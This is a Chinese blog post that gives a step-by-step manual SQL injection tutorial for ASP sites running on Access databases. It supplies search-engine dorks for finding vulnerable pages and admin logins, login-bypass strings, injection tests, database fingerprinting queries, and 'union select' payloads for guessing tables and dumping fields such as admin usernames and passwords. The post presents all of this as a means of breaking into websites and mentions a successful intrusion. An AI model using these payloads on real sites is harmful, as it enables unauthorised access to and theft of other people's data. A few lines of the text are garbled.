2013年5月31日星期五

Access手工注入

Access手工注入



一。查找网页链接
常用的SQL注入关键字
inurl:asp
目标关键字+inurl:id
英语字母及单词+inurl:id
网站域名+inurl:id
阿拉伯数字+inurl:id
inurl:asp?id=
inurl:Article_Print.asp?
EnCompHonorBig.asp?id=随便加个数字
showproduct.asp?id=随便加个数字
inurl:ManageLogin.asp
EnCompHonorBig.asp?id= 随便加个数字
inurl: (asp?=数字) inurl: (php?=数字)
NewsInfo.asp?id=
ShowNew.asp?Id=
ShowNews.asp?Id=
Show.asp?Id=
经典的用户名密码
\'or\'=\'or\'
\'or\'1\'=\'1
2个密码在很多网站后台,QQ空间相册都可以登陆,不过不是
100%而已....
inurl: 用于搜索网页上包含的URL. 这个语法对寻找网页上
的搜索,帮助之类的很有用.
intext: 只搜索网页<body>部分中包含的文字(也就是忽略了
标题,URL等的文字).
site: 可以限制你搜索范围的域名.
filetype: 搜索文件的后缀或者扩展名
intitle: 限制你搜索的网页标题.
allintitle: 搜索所有关键字构成标题的网页. 但是推荐不
要使用
link: 可以得到一个所有包含了某个指定URL的页面列表.
link:www.google.com 就可以得到所有连接到Google的页
=====================================================
==============================


二 判断是否可注入
and 1=1
and 1=2
比如:
http://127.0.0.1/xx?id=11 and 1=1 (正常页面) )
1­%lW

*]Nd I
http://127.0.0.1/xx?id=11 and 1=2 (
出错页面)
这就说明这个网页http://127.0.0.1/xx?id=11存在注入漏洞,是一个注入点!

三 判断数据库类型
   1在确定了一个地址是注入点后,我们首先要判断这个注入点所连接的数据库的类型!这里介绍几种简单的方法。如果一种判断不出来就再换另一种判断方法!
A。在注入点后直接加上单引号。有的时候我们可以根据服务器报错的信息来判断它用的是什么数据库。通过错误信息我们可以看出来这个注入点所连接的数据库的类型,Microsoft JET Database Engine 錯誤 \'80040e14\' ,说明是通过JET引擎连接数据库,而不是ODBC!如果是用JET方法连接的话就说明用的是ACCESS数据库,如果是ODBC的话就说明数据库是MSSQL

2 and user>0 (根据错误信息判断数据库类型)

and (select count(*) from sysobjects)>=0
这个句子的意思是查询sysobjects表里的记录数大于0!(有点别扭!)如果返回正常,说明大于0,也就说明存在sysobjects这个表,因为这个表只有MSSQL数据库里才有,所以可以确定数据库的MSSQL的!如果返回错误,

and (select count(*) from msysobjects)>=0
提交这个语句是不会返回正常页面的!就算是ACCESS数据库也不会返回正常的页面!因为默认情况下,我们是没有权限查询这个表里的数据的!不过WEB会提示我们 “记录无法读取;\'msysobjects\'没有读取权限”!如果返回的是这个错误信息的话,那就证明是ACCESS数据库了


四 猜数据库表名
and exists (select * from 数据库表名)
http://127.0.0.1/xx?id=11 and exists (select * from admin)

猜字段名
and exists (select 字段名 from 数据库表名)
http://127.0.0.1/xx?id=11 and exists (select username from admin)
http://127.0.0.1/xx?id=11 and exists (select password from admin)

六 猜字段数
order by

七 爆字段内容
and 1=2 union select 1,2,3……,n from 表名
然后看看哪个数字会显示在页面里,把那个数字改成你要猜的字段,就可以了




成功入侵一网站的部分截图







没有评论:

发表评论